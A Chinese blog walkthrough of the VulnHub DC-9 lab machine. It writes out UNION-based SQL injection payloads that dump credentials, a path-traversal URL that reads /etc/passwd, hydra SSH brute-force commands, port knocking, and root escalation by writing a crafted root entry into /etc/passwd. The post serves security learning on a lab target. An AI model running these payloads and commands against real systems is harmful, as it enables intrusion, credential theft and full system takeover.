当前位置: 首页 > news >正文

vulnhub-DC-9 SQL注入、“ssh端口敲门”、hydra爆破

vulnhub-DC-9 SQL注入、“ssh端口敲门”、hydra爆破

一、信息收集 2025.3.12 AM 9:15

1、首先拿到靶场先扫一下ip

arp-scan -l

2、指纹扫描

nmmap -sS -T4 -A 192.168.66.181 看看开放哪些端口

PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))

3、访问端口

这里一个22端口和80端口,线索就在80端口里然后22端口连ssh

ok,这里我列出了3张图片,肯定是要拿这个网页作为突破口了,我们在后台扫的目录也看一下,收集一下有用信息

4、后台扫目录

无论我们在80端口得到什么信息都要扫一下目录,在看80端口时候,后台就扫描完成了

5、寻找突破口

80页面有个注入口,sql万能语法生效,估计可以sql注入

这里是找到了两个文件目录

1、探测sql注入的存在

这里万能语法是存在的所以我们顺着线查询

Mary'  and 1=1 union select 1,2,3,4,5,6 -- +
mysql是我的一个弱势点
因为信息泄露了6个用户,所以选择到6

2、爆库

Mary' and 1=1 union select 1,database(),3,4,5,6 -- + 这是在第二个位置尝试爆库,这里是爆除了一个Staff库

3、爆表

Mary' and 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6 -- +

这里是我们拼接的语句,把2的替换成上面语法。

4、爆列

Mary' and 1=1 union select 1, (select group_concat(username,0x3a,password) from Users),3,4,5,6 -- +

这里得到了一串加密,我们去判断一下加密类型

这是一个md5加密,我们尝试解密一下

至此我们得到了一组账户密码,我们登陆一下后台

后台只是多了一个添加账号页面 之前还有几个库,我们切换一下查询其他库

另一个库,爆3的库

Mary' and 1=1 union select 1,2,database(),4,5,6 -- +

Mary' and 1=1 union select 1, 2,(select group_concat(schema_name) from information_schema.schemata),4,5,6 -- +

爆表 Mary' and 1=1 union select 1, 2,(select group_concat(table_name) from information_schema.tables where table_schema="users"),4,5,6 -- +

爆列 这里是爆UserDetails这个列,然后我们得到很多账号、密码

Mary' and 1=1 union select 1, 2,(select group_concat(username,0x3a,password) from users.UserDetails),4,5,6 -- +

4、寻找突破口

http://192.168.66.181/manage.php?file=../../../../../../../etc/passwd
这里是看了其他师傅的ep,可以找一下etc/passwd文件

wfuzz -b 'PHPSESSID: cq37qk0rm79oh8vtgk2h56lq8p' --hw 100  -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=index.php
这段是模糊测试,是个新思路

这里是爆出来了passwd文件

5、hydra爆破ssh

hydra -L user-dict -P pass-dict 192.168.66.181 ssh
把账户都放在user-dict中,然后爆破0

爆破失败但是开放了22端口,有以下三种情况 1、端口被限制(防火墙) 2、用户被限制登录 3、运行了knockd服务 在靶机环境下我们可以判断是第三种情况,但是我也没了解过这个knockd,去查询一下,了解之后发现我们需要敲门才能连接22端口,我们遍历一下目录然后找一下knockd文件

这种方式确实可以很有效防止黑客访问22端口

hydra -L 1.txt -P 2.txt 192.168.66.181 ssh
这里把我们得到的账户和密码放在两个txt中然后爆破

在这里我们得到了三组账户密码 janitor有一个隐藏文件,我们进入查看一下

这里又是几个密码,我们再爆破一下

sudo -l 这里发现了一个root的文件

这里执行了一下test文件,需要我们读test.py这个文件

我们在这个目录下找到了test.py文件,我们查看一下这个文件

这里大概懂了,比方说我们创建了一个文件1,一个文件2,然后我们在文件1中写入指令,然后运行test就可以将文件1中的指令传输到文件2中的指令,并且test是root权限,也就是说我们有很多提权方式,我们也可以创建一个自己的passwd然后写入到/etc/passwd中,提权成功

6、提权

写入/etc/passwd提权

那么思路有了,我们就仿造一条这个passwd,密码通过openssl加密即可 ruler:ruler:0:0:root:/root:/usr/bin/zsh 这个是openssl加密指令 openssl passwd -1 -salt abcde abcde -1是md5加密,-salt是生成随机数加密,ruler是账户和密码 此时我们的passwd就是下面这一条 abcde:abcde$IW5QjS/lrsh9SNQqIDeKr1:0:0:root:root:/bin/bash 拿下提权

这里还是有些小的雷区的,注意passwd的构造 最后执行命令sudo ./test /tmp/passwd.txt /etc/passwd

后续我也会出更多打靶文章,希望大家关注!谢谢。

相关文章:

  • 题解:AT_arc093_b [ABC092D] Grid Components
  • Python规则引擎DIY:从零开始构建规则引擎
  • Linux》》Ubuntu22.04下Docker的安装 Docker
  • 【VS】vs生成前事件,复制脚本文件至运行目录
  • Python Numpy面试题及参考答案 草
  • Prompt 工程
  • MySQL中IN关键字与EXIST关键字的比较
  • JAVA:利用 Jsoup 轻松解析和操作 HTML 的技术指南
  • 展望 AIGC 前景:通义万相 2.1 与蓝耘智算平台共筑 AI 生产力高地
  • 如何在Android中实现SQLite数据库操作
  • 【设计模式】设计模式介绍
  • 力扣热门100题【525,1314】
  • 数字隔离器,如何提升储能系统的安全与效能?
  • Python - 爬虫;爬虫-网页抓取数据-工具curl
  • Python精进系列:filter 模块
  • leetcode 142. 环形链表 II
  • STM第三天点亮LED
  • 修改nginx配置,同一台服务器部署多个前端项目
  • [C语言笔记]07、数组
  • 阿里云操作系统控制台评测:国产AI+运维 一站式运维管理平台
  • 今年我国电影票房破250亿领跑全球,“电影+”带动文旅消费热潮
  • 见证上海援藏30年成果,萨迦非遗珍品展来沪
  • 黄仁勋访华期间表示希望继续与中国合作,贸促会回应
  • 伊朗港口爆炸最新情况:14死700多伤,大火延烧,调查困难
  • 俄罗斯准备在没有先决条件的情况下与乌克兰进行谈判
  • 巴达玛·利斯瓦达恭当选世界羽联主席,张军任理事会理事